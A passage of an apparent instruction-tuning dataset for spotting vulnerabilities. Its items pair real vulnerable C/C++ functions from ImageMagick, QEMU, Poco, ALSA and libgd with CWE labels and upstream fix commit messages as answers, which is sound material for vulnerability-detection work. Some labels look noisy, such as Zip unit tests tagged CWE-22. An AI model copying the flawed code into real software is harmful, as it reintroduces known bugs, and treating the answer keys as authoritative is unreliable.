image->page.y)\n {\n png_set_oFFs(ping,ping_info,(png_int_32) image->page.x,\n (png_int_32) image->page.y, 0);\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up oFFs chunk with x=%d, y=%d, units=0\",\n (int) image->page.x, (int) image->page.y);\n }\n }\n#endif\n\n#if (PNG_LIBPNG_VER == 10206)\n /* avoid libpng-1.2.6 bug by setting PNG_HAVE_IDAT flag */\n#define PNG_HAVE_IDAT 0x04\n ping->mode |= PNG_HAVE_IDAT;\n#undef PNG_HAVE_IDAT\n#endif\n\n png_set_packing(ping);\n /*\n Allocate memory.\n */\n rowbytes=image->columns;\n if (image_depth > 8)\n rowbytes*=2;\n switch (ping_color_type)\n {\n case PNG_COLOR_TYPE_RGB:\n rowbytes*=3;\n break;\n\n case PNG_COLOR_TYPE_GRAY_ALPHA:\n rowbytes*=2;\n break;\n\n case PNG_COLOR_TYPE_RGBA:\n rowbytes*=4;\n break;\n\n default:\n break;\n }\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing PNG image data\");\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Allocating %.20g bytes of memory for pixels\",(double) rowbytes);\n }\n pixel_info=AcquireVirtualMemory(rowbytes,sizeof(*ping_pixels));\n if (pixel_info == (MemoryInfo *) NULL)\n png_error(ping,\"Allocation of memory for pixels failed\");\n ping_pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);\n /*\n Initialize image scanlines.\n */\n quantum_info=AcquireQuantumInfo(image_info,image);\n if (quantum_info == (QuantumInfo *) NULL)\n png_error(ping,\"Memory allocation for quantum_info failed\");\n quantum_info->format=UndefinedQuantumFormat;\n SetQuantumDepth(image,quantum_info,image_depth);\n (void) SetQuantumEndian(image,quantum_info,MSBEndian);\n num_passes=png_set_interlace_handling(ping);\n\n if ((!mng_info->write_png8 && !mng_info->write_png24 &&\n !mng_info->write_png48 && !mng_info->write_png64 &&\n !mng_info->write_png32) &&\n (mng_info->IsPalette ||\n (image_info->type == BilevelType)) &&\n image_matte == MagickFalse &&\n ping_have_non_bw == MagickFalse)\n {\n /* Palette, Bilevel, or Opaque Monochrome */\n register const Quantum\n *p;\n\n SetQuantumDepth(image,quantum_info,8);\n for (pass=0; pass < num_passes; pass++)\n {\n /*\n Convert PseudoClass image to a PNG monochrome image.\n */\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing row of pixels (0)\");\n\n p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n\n if (p == (const Quantum *) NULL)\n break;\n\n if (mng_info->IsPalette)\n {\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,GrayQuantum,ping_pixels,exception);\n if (mng_info->write_png_colortype-1 == PNG_COLOR_TYPE_PALETTE &&\n mng_info->write_png_depth &&\n mng_info->write_png_depth != old_bit_depth)\n {\n /* Undo pixel scaling */\n for (i=0; i < (ssize_t) image->columns; i++)\n *(ping_pixels+i)=(unsigned char) (*(ping_pixels+i)\n >> (8-old_bit_depth));\n }\n }\n\n else\n {\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,RedQuantum,ping_pixels,exception);\n }\n\n if (mng_info->write_png_colortype-1 != PNG_COLOR_TYPE_PALETTE)\n for (i=0; i < (ssize_t) image->columns; i++)\n *(ping_pixels+i)=(unsigned char) ((*(ping_pixels+i) > 127) ?\n 255 : 0);\n\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing row of pixels (1)\");\n\n png_write_row(ping,ping_pixels);\n\n status=SetImageProgress(image,SaveImageTag,\n (MagickOffsetType) (pass * image->rows + y),\n num_passes * image->rows);\n\n if (status == MagickFalse)\n break;\n }\n }\n }\n\n else /* Not Palette, Bilevel, or Opaque Monochrome */\n {\n if ((!mng_info->write_png8 && !mng_info->write_png24 &&\n !mng_info->write_png48 && !mng_info->write_png64 &&\n !mng_info->write_png32) && (image_matte != MagickFalse ||\n (ping_bit_depth >= MAGICKCORE_QUANTUM_DEPTH)) &&\n (mng_info->IsPalette) && ping_have_color == MagickFalse)\n {\n register const Quantum\n *p;\n\n for (pass=0; pass < num_passes; pass++)\n {\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n\n if (p == (const Quantum *) NULL)\n break;\n\n if (ping_color_type == PNG_COLOR_TYPE_GRAY)\n {\n if (mng_info->IsPalette)\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,GrayQuantum,ping_pixels,exception);\n\n else\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,RedQuantum,ping_pixels,exception);\n\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing GRAY PNG pixels (2)\");\n }\n\n else /* PNG_COLOR_TYPE_GRAY_ALPHA */\n {\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing GRAY_ALPHA PNG pixels (2)\");\n\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,GrayAlphaQuantum,ping_pixels,exception);\n }\n\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing row of pixels (2)\");\n\n png_write_row(ping,ping_pixels);\n\n status=SetImageProgress(image,SaveImageTag,\n (MagickOffsetType) (pass * image->rows + y),\n num_passes * image->rows);\n\n if (status == MagickFalse)\n break;\n }\n }\n }\n\n else\n {\n register const Quantum\n *p;\n\n for (pass=0; pass < num_passes; pass++)\n {\n if ((image_depth > 8) ||\n mng_info->write_png24 ||\n mng_info->write_png32 ||\n mng_info->write_png48 ||\n mng_info->write_png64 ||\n (!mng_info->write_png8 && !mng_info->IsPalette))\n {\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n p=GetVirtualPixels(image,0,y,image->columns,1, exception);\n\n if (p == (const Quantum *) NULL)\n break;\n\n if (ping_color_type == PNG_COLOR_TYPE_GRAY)\n {\n if (image->storage_class == DirectClass)\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,RedQuantum,ping_pixels,exception);\n\n else\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,GrayQuantum,ping_pixels,exception);\n }\n\n else if (ping_color_type == PNG_COLOR_TYPE_GRAY_ALPHA)\n {\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,GrayAlphaQuantum,ping_pixels,\n exception);\n\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing GRAY_ALPHA PNG pixels (3)\");\n }\n\n else if (image_matte != MagickFalse)\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,RGBAQuantum,ping_pixels,exception);\n\n else\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,RGBQuantum,ping_pixels,exception);\n\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing row of pixels (3)\");\n\n png_write_row(ping,ping_pixels);\n\n status=SetImageProgress(image,SaveImageTag,\n (MagickOffsetType) (pass * image->rows + y),\n num_passes * image->rows);\n\n if (status == MagickFalse)\n break;\n }\n }\n\n else\n /* not ((image_depth > 8) ||\n mng_info->write_png24 || mng_info->write_png32 ||\n mng_info->write_png48 || mng_info->write_png64 ||\n (!mng_info->write_png8 && !mng_info->IsPalette))\n */\n {\n if ((ping_color_type != PNG_COLOR_TYPE_GRAY) &&\n (ping_color_type != PNG_COLOR_TYPE_GRAY_ALPHA))\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" pass %d, Image Is not GRAY or GRAY_ALPHA\",pass);\n\n SetQuantumDepth(image,quantum_info,8);\n image_depth=8;\n }\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" pass %d, Image Is RGB, 16-bit GRAY, or GRAY_ALPHA\",\n pass);\n\n p=GetVirtualPixels(image,0,y,image->columns,1, exception);\n\n if (p == (const Quantum *) NULL)\n break;\n\n if (ping_color_type == PNG_COLOR_TYPE_GRAY)\n {\n SetQuantumDepth(image,quantum_info,image->depth);\n\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,GrayQuantum,ping_pixels,exception);\n }\n\n else if (ping_color_type == PNG_COLOR_TYPE_GRAY_ALPHA)\n {\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing GRAY_ALPHA PNG pixels (4)\");\n\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,GrayAlphaQuantum,ping_pixels,\n exception);\n }\n\n else\n {\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,IndexQuantum,ping_pixels,exception);\n\n if (logging != MagickFalse && y <= 2)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing row of non-gray pixels (4)\");\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" ping_pixels[0]=%d,ping_pixels[1]=%d\",\n (int)ping_pixels[0],(int)ping_pixels[1]);\n }\n }\n png_write_row(ping,ping_pixels);\n\n status=SetImageProgress(image,SaveImageTag,\n (MagickOffsetType) (pass * image->rows + y),\n num_passes * image->rows);\n\n if (status == MagickFalse)\n break;\n }\n }\n }\n }\n }\n\n if (quantum_info != (QuantumInfo *) NULL)\n quantum_info=DestroyQuantumInfo(quantum_info);\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Wrote PNG image data\");\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Width: %.20g\",(double) ping_width);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Height: %.20g\",(double) ping_height);\n\n if (mng_info->write_png_depth)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Defined png:bit-depth: %d\",mng_info->write_png_depth);\n }\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" PNG bit-depth written: %d\",ping_bit_depth);\n\n if (mng_info->write_png_colortype)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Defined png:color-type: %d\",mng_info->write_png_colortype-1);\n }\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" PNG color-type written: %d\",ping_color_type);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" PNG Interlace method: %d\",ping_interlace_method);\n }\n /*\n Generate text chunks after IDAT.\n */\n if (ping_exclude_tEXt == MagickFalse || ping_exclude_zTXt == MagickFalse)\n {\n ResetImagePropertyIterator(image);\n property=GetNextImageProperty(image);\n while (property != (const char *) NULL)\n {\n png_textp\n text;\n\n value=GetImageProperty(image,property,exception);\n\n /* Don't write any \"png:\" or \"jpeg:\" properties; those are just for\n * \"identify\" or for passing through to another JPEG\n */\n if ((LocaleNCompare(property,\"png:\",4) != 0 &&\n LocaleNCompare(property,\"jpeg:\",5) != 0) &&\n\n\n /* Suppress density and units if we wrote a pHYs chunk */\n (ping_exclude_pHYs != MagickFalse ||\n LocaleCompare(property,\"density\") != 0 ||\n LocaleCompare(property,\"units\") != 0) &&\n\n /* Suppress the IM-generated Date:create and Date:modify */\n (ping_exclude_date == MagickFalse ||\n LocaleNCompare(property, \"Date:\",5) != 0))\n {\n if (value != (const char *) NULL)\n {\n\n#if PNG_LIBPNG_VER >= 10400\n text=(png_textp) png_malloc(ping,\n (png_alloc_size_t) sizeof(png_text));\n#else\n text=(png_textp) png_malloc(ping,(png_size_t) sizeof(png_text));\n#endif\n text[0].key=(char *) property;\n text[0].text=(char *) value;\n text[0].text_length=strlen(value);\n\n if (ping_exclude_tEXt != MagickFalse)\n text[0].compression=PNG_TEXT_COMPRESSION_zTXt;\n\n else if (ping_exclude_zTXt != MagickFalse)\n text[0].compression=PNG_TEXT_COMPRESSION_NONE;\n\n else\n {\n text[0].compression=image_info->compression == NoCompression ||\n (image_info->compression == UndefinedCompression &&\n text[0].text_length < 128) ? PNG_TEXT_COMPRESSION_NONE :\n PNG_TEXT_COMPRESSION_zTXt ;\n }\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up text chunk\");\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" keyword: '%s'\",text[0].key);\n }\n\n png_set_text(ping,ping_info,text,1);\n png_free(ping,text);\n }\n }\n property=GetNextImageProperty(image);\n }\n }\n\n /* write eXIf profile */\n if (ping_have_eXIf != MagickFalse && ping_exclude_eXIf == MagickFalse)\n {\n char\n *name;\n\n ResetImageProfileIterator(image);\n\n for (name=GetNextImageProfile(image); name != (const char *) NULL; )\n {\n if (LocaleCompare(name,\"exif\") == 0)\n {\n const StringInfo\n *profile;\n\n profile=GetImageProfile(image,name);\n\n if (profile != (StringInfo *) NULL)\n {\n png_uint_32\n length;\n\n unsigned char\n chunk[4],\n *data;\n\n StringInfo\n *ping_profile;\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Have eXIf profile\");\n\n ping_profile=CloneStringInfo(profile);\n data=GetStringInfoDatum(ping_profile),\n length=(png_uint_32) GetStringInfoLength(ping_profile);\n\n PNGType(chunk,mng_eXIf);\n if (length < 7)\n {\n ping_profile=DestroyStringInfo(ping_profile);\n break; /* otherwise crashes */\n }\n\n if (*data == 'E' && *(data+1) == 'x' && *(data+2) == 'i' &&\n *(data+3) == 'f' && *(data+4) == '\\0' && *(data+5) == '\\0')\n {\n /* skip the \"Exif\\0\\0\" JFIF Exif Header ID */\n length -= 6;\n data += 6;\n }\n\n LogPNGChunk(logging,chunk,length);\n (void) WriteBlobMSBULong(image,length);\n (void) WriteBlob(image,4,chunk);\n (void) WriteBlob(image,length,data);\n (void) WriteBlobMSBULong(image,crc32(crc32(0,chunk,4), data,\n (uInt) length));\n ping_profile=DestroyStringInfo(ping_profile);\n break;\n }\n }\n name=GetNextImageProfile(image);\n }\n }\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing PNG end info\");\n\n png_write_end(ping,ping_info);\n\n if (mng_info->need_fram && (int) image->dispose == BackgroundDispose)\n {\n if (mng_info->page.x || mng_info->page.y ||\n (ping_width != mng_info->page.width) ||\n (ping_height != mng_info->page.height))\n {\n unsigned char\n chunk[32];\n\n /*\n Write FRAM 4 with clipping boundaries followed by FRAM 1.\n */\n (void) WriteBlobMSBULong(image,27L); /* data length=27 */\n PNGType(chunk,mng_FRAM);\n LogPNGChunk(logging,mng_FRAM,27L);\n chunk[4]=4;\n chunk[5]=0; /* frame name separator (no name) */\n chunk[6]=1; /* flag for changing delay, for next frame only */\n chunk[7]=0; /* flag for changing frame timeout */\n chunk[8]=1; /* flag for changing frame clipping for next frame */\n chunk[9]=0; /* flag for changing frame sync_id */\n PNGLong(chunk+10,(png_uint_32) (0L)); /* temporary 0 delay */\n chunk[14]=0; /* clipping boundaries delta type */\n PNGLong(chunk+15,(png_uint_32) (mng_info->page.x)); /* left cb */\n PNGLong(chunk+19,\n (png_uint_32) (mng_info->page.x + ping_width));\n PNGLong(chunk+23,(png_uint_32) (mng_info->page.y)); /* top cb */\n PNGLong(chunk+27,\n (png_uint_32) (mng_info->page.y + ping_height));\n (void) WriteBlob(image,31,chunk);\n (void) WriteBlobMSBULong(image,crc32(0,chunk,31));\n mng_info->old_framing_mode=4;\n mng_info->framing_mode=1;\n }\n\n else\n mng_info->framing_mode=3;\n }\n if (mng_info->write_mng && !mng_info->need_fram &&\n ((int) image->dispose == 3))\n png_error(ping, \"Cannot convert GIF with disposal method 3 to MNG-LC\");\n\n /*\n Free PNG resources.\n */\n\n png_destroy_write_struct(&ping,&ping_info);\n\n pixel_info=RelinquishVirtualMemory(pixel_info);\n\n if (ping_have_blob != MagickFalse)\n (void) CloseBlob(image);\n\n image_info=DestroyImageInfo(image_info);\n image=DestroyImage(image);\n\n /* Store bit depth actually written */\n s[0]=(char) ping_bit_depth;\n s[1]='\\0';\n\n (void) SetImageProperty(IMimage,\"png:bit-depth-written\",s,exception);\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" exit WriteOnePNGImage()\");\n\n#ifdef IMPNG_SETJMP_NOT_THREAD_SAFE\n UnlockSemaphoreInfo(ping_semaphore);\n#endif\n\n /* } for navigation to beginning of SETJMP-protected block. Revert to\n * Throwing an Exception when an error occurs.\n */\n\n return(MagickTrue);\n/* End write one PNG image */\n\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-772'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/902'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void cirrus_invalidate_region(CirrusVGAState * s, int off_begin,\n\t\t\t\t int off_pitch, int bytesperline,\n\t\t\t\t int lines)\n{\n int y;\n int off_cur;\n int off_cur_end;\n\n for (y = 0; y < lines; y++) {\n\toff_cur = off_begin;\n\toff_cur_end = (off_cur + bytesperline) & s->cirrus_addr_mask;\n memory_region_set_dirty(&s->vga.vram, off_cur, off_cur_end - off_cur);\n\toff_begin += off_pitch;\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'cirrus: handle negative pitch in cirrus_invalidate_region()\n\ncirrus_invalidate_region() calls memory_region_set_dirty()\non a per-line basis, always ranging from off_begin to\noff_begin+bytesperline. With a negative pitch off_begin\nmarks the top most used address and thus we need to do an\ninitial shift backwards by a line for negative pitches of\nbackward blits, otherwise the first iteration covers the\nline going from the start offset forwards instead of\nbackwards.\nAdditionally since the start address is inclusive, if we\nshift by a full `bytesperline` we move to the first address\n*not* included in the blit, so we only shift by one less\nthan bytesperline.\n\nSigned-off-by: Wolfgang Bumiller \nMessage-id: 1485352137-29367-1-git-send-email-w.bumiller@proxmox.com\n\n[ kraxel: codestyle fixes ]\n\nSigned-off-by: Gerd Hoffmann '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void ZipTest::testDecompressZip64()\n{\n\tstd::map files;\n\tfiles[\"data1.bin\"] = static_cast(KB)*4096+1;\n\tfiles[\"data2.bin\"] = static_cast(KB)*16;\n\tfiles[\"data3.bin\"] = static_cast(KB)*4096-1;\n\n\tfor(std::map::const_iterator it = files.begin(); it != files.end(); it++)\n\t{\n\t\tPoco::File file(it->first);\n\t\tif(file.exists())\n\t\t\tfile.remove();\n\t}\n\tstd::ifstream in(\"zip64.zip\", std::ios::binary);\n\tDecompress c(in, \".\");\n\tc.decompressAllFiles();\n\tfor(std::map::const_iterator it = files.begin(); it != files.end(); it++)\n\t{\n\t\tverifyDataFile(it->first, it->second);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-22'], 'message': 'merge zip entry absolute path vulnerability fix (#1968) from develop'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void ZipTest::testDecompress()\n{\n\tstd::string testFile = getTestFile(\"data\", \"test.zip\");\n\tstd::ifstream inp(testFile.c_str(), std::ios::binary);\n\tassert (inp.good());\n\tDecompress dec(inp, Poco::Path());\n\tdec.EError += Poco::Delegate >(this, &ZipTest::onDecompressError);\n\tdec.decompressAllFiles();\n\tdec.EError -= Poco::Delegate >(this, &ZipTest::onDecompressError);\n\tassert (_errCnt == 0);\n\tassert (!dec.mapping().empty());\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-22'], 'message': 'merge zip entry absolute path vulnerability fix (#1968) from develop'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static struct snd_seq_client *seq_create_client1(int client_index, int poolsize)\n{\n\tunsigned long flags;\n\tint c;\n\tstruct snd_seq_client *client;\n\n\t/* init client data */\n\tclient = kzalloc(sizeof(*client), GFP_KERNEL);\n\tif (client == NULL)\n\t\treturn NULL;\n\tclient->pool = snd_seq_pool_new(poolsize);\n\tif (client->pool == NULL) {\n\t\tkfree(client);\n\t\treturn NULL;\n\t}\n\tclient->type = NO_CLIENT;\n\tsnd_use_lock_init(&client->use_lock);\n\trwlock_init(&client->ports_lock);\n\tmutex_init(&client->ports_mutex);\n\tINIT_LIST_HEAD(&client->ports_list_head);\n\n\t/* find free slot in the client table */\n\tspin_lock_irqsave(&clients_lock, flags);\n\tif (client_index < 0) {\n\t\tfor (c = SNDRV_SEQ_DYNAMIC_CLIENTS_BEGIN;\n\t\t c < SNDRV_SEQ_MAX_CLIENTS;\n\t\t c++) {\n\t\t\tif (clienttab[c] || clienttablock[c])\n\t\t\t\tcontinue;\n\t\t\tclienttab[client->number = c] = client;\n\t\t\tspin_unlock_irqrestore(&clients_lock, flags);\n\t\t\treturn client;\n\t\t}\n\t} else {\n\t\tif (clienttab[client_index] == NULL && !clienttablock[client_index]) {\n\t\t\tclienttab[client->number = client_index] = client;\n\t\t\tspin_unlock_irqrestore(&clients_lock, flags);\n\t\t\treturn client;\n\t\t}\n\t}\n\tspin_unlock_irqrestore(&clients_lock, flags);\n\tsnd_seq_pool_delete(&client->pool);\n\tkfree(client);\n\treturn NULL;\t/* no free slot found or busy, return failure code */\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'ALSA: seq: Make ioctls race-free\n\nThe ALSA sequencer ioctls have no protection against racy calls while\nthe concurrent operations may lead to interfere with each other. As\nreported recently, for example, the concurrent calls of setting client\npool with a combination of write calls may lead to either the\nunkillable dead-lock or UAF.\n\nAs a slightly big hammer solution, this patch introduces the mutex to\nmake each ioctl exclusive. Although this may reduce performance via\nparallel ioctl calls, usually it's not demanded for sequencer usages,\nhence it should be negligible.\n\nReported-by: Luo Quan \nReviewed-by: Kees Cook \nReviewed-by: Greg Kroah-Hartman \nCc: \nSigned-off-by: Takashi Iwai '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: gdImagePtr gdImageCreateFromGifCtx(gdIOCtxPtr fd) /* {{{ */\n{\n\tint BitPixel;\n#if 0\n\tint ColorResolution;\n\tint Background;\n\tint AspectRatio;\n#endif\n\tint Transparent = (-1);\n\tunsigned char buf[16];\n\tunsigned char c;\n\tunsigned char ColorMap[3][MAXCOLORMAPSIZE];\n\tunsigned char localColorMap[3][MAXCOLORMAPSIZE];\n\tint imw, imh, screen_width, screen_height;\n\tint gif87a, useGlobalColormap;\n\tint bitPixel;\n\tint\t i;\n\t/*1.4//int imageCount = 0; */\n\n\tint ZeroDataBlock = FALSE;\n\tint haveGlobalColormap;\n\tgdImagePtr im = 0;\n\n\tmemset(ColorMap, 0, 3 * MAXCOLORMAPSIZE);\n\tmemset(localColorMap, 0, 3 * MAXCOLORMAPSIZE);\n\n\t/*1.4//imageNumber = 1; */\n\tif (! ReadOK(fd,buf,6)) {\n\t\treturn 0;\n\t}\n\tif (strncmp((char *)buf,\"GIF\",3) != 0) {\n\t\treturn 0;\n\t}\n\n\tif (memcmp((char *)buf+3, \"87a\", 3) == 0) {\n\t\tgif87a = 1;\n\t} else if (memcmp((char *)buf+3, \"89a\", 3) == 0) {\n\t\tgif87a = 0;\n\t} else {\n\t\treturn 0;\n\t}\n\n\tif (! ReadOK(fd,buf,7)) {\n\t\treturn 0;\n\t}\n\n\tBitPixel = 2<<(buf[4]&0x07);\n#if 0\n\tColorResolution = (int) (((buf[4]&0x70)>>3)+1);\n\tBackground = buf[5];\n\tAspectRatio = buf[6];\n#endif\n\tscreen_width = imw = LM_to_uint(buf[0],buf[1]);\n\tscreen_height = imh = LM_to_uint(buf[2],buf[3]);\n\n\thaveGlobalColormap = BitSet(buf[4], LOCALCOLORMAP); /* Global Colormap */\n\tif (haveGlobalColormap) {\n\t\tif (ReadColorMap(fd, BitPixel, ColorMap)) {\n\t\t\treturn 0;\n\t\t}\n\t}\n\n\tfor (;;) {\n\t\tint top, left;\n\t\tint width, height;\n\n\t\tif (! ReadOK(fd,&c,1)) {\n\t\t\treturn 0;\n\t\t}\n\t\tif (c == ';') { /* GIF terminator */\n\t\t\tgoto terminated;\n\t\t}\n\n\t\tif (c == '!') { /* Extension */\n\t\t\tif (! ReadOK(fd,&c,1)) {\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t\tDoExtension(fd, c, &Transparent, &ZeroDataBlock);\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (c != ',') { /* Not a valid start character */\n\t\t\tcontinue;\n\t\t}\n\n\t\t/*1.4//++imageCount; */\n\n\t\tif (! ReadOK(fd,buf,9)) {\n\t\t\treturn 0;\n\t\t}\n\n\t\tuseGlobalColormap = ! BitSet(buf[8], LOCALCOLORMAP);\n\n\t\tbitPixel = 1<<((buf[8]&0x07)+1);\n\t\tleft = LM_to_uint(buf[0], buf[1]);\n\t\ttop = LM_to_uint(buf[2], buf[3]);\n\t\twidth = LM_to_uint(buf[4], buf[5]);\n\t\theight = LM_to_uint(buf[6], buf[7]);\n\n\t\tif (left + width > screen_width || top + height > screen_height) {\n\t\t\tif (VERBOSE) {\n\t\t\t\tprintf(\"Frame is not confined to screen dimension.\\n\");\n\t\t\t}\n\t\t\treturn 0;\n\t\t}\n\n\t\tif (!(im = gdImageCreate(width, height))) {\n\t\t\treturn 0;\n\t\t}\n\t\tim->interlace = BitSet(buf[8], INTERLACE);\n\t\tif (!useGlobalColormap) {\n\t\t\tif (ReadColorMap(fd, bitPixel, localColorMap)) { \n\t\t\t\tgdImageDestroy(im);\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t\tReadImage(im, fd, width, height, localColorMap, \n\t\t\t\t\tBitSet(buf[8], INTERLACE), &ZeroDataBlock);\n\t\t} else {\n\t\t\tif (!haveGlobalColormap) {\n\t\t\t\tgdImageDestroy(im);\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t\tReadImage(im, fd, width, height,\n\t\t\t\t\t\tColorMap, \n\t\t\t\t\t\tBitSet(buf[8], INTERLACE), &ZeroDataBlock);\n\t\t}\n\t\tif (Transparent != (-1)) {\n\t\t\tgdImageColorTransparent(im, Transparent);\n\t\t}\n\t\tgoto terminated;\n\t}\n\nterminated:\n\t/* Terminator before any image was declared! */\n\tif (!im) {\n\t\treturn 0;\n\t}\n\tif (!im->colorsTotal) {\n\t\tgdImageDestroy(im);\n\t\treturn 0;\n\t}\n\t/* Check for open colors at the end, so\n\t we can reduce colorsTotal and ultimately\n\t BitsPerPixel */\n\tfor (i=((im->colorsTotal-1)); (i>=0); i--) {\n\t\tif (im->open[i]) {\n\t\t\tim->colorsTotal--;\n\t\t} else {\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn im;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-681'], 'message': 'Fixed bug #75571: Potential infinite loop in gdImageCreateFromGifCtx\n\nDue to a signedness confusion in `GetCode_` a corrupt GIF file can\ntrigger an infinite loop. Furthermore we make sure that a GIF without\nany palette entries is treated as invalid *after* open palette entries\nhave been removed.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: formUpdateBuffer(Anchor *a, Buffer *buf, FormItemList *form)\n{\n Buffer save;\n char *p;\n int spos, epos, rows, c_rows, pos, col = 0;\n Line *l;\n\n copyBuffer(&save, buf);\n gotoLine(buf, a->start.line);\n switch (form->type) {\n case FORM_TEXTAREA:\n case FORM_INPUT_TEXT:\n case FORM_INPUT_FILE:\n case FORM_INPUT_PASSWORD:\n case FORM_INPUT_CHECKBOX:\n case FORM_INPUT_RADIO:\n#ifdef MENU_SELECT\n case FORM_SELECT:\n#endif\t\t\t\t/* MENU_SELECT */\n\tspos = a->start.pos;\n\tepos = a->end.pos;\n\tbreak;\n default:\n\tspos = a->start.pos + 1;\n\tepos = a->end.pos - 1;\n }\n switch (form->type) {\n case FORM_INPUT_CHECKBOX:\n case FORM_INPUT_RADIO:\n\tif (buf->currentLine == NULL ||\n\t spos >= buf->currentLine->len || spos < 0)\n\t break;\n\tif (form->checked)\n\t buf->currentLine->lineBuf[spos] = '*';\n\telse\n\t buf->currentLine->lineBuf[spos] = ' ';\n\tbreak;\n case FORM_INPUT_TEXT:\n case FORM_INPUT_FILE:\n case FORM_INPUT_PASSWORD:\n case FORM_TEXTAREA:\n#ifdef MENU_SELECT\n case FORM_SELECT:\n\tif (form->type == FORM_SELECT) {\n\t p = form->label->ptr;\n\t updateSelectOption(form, 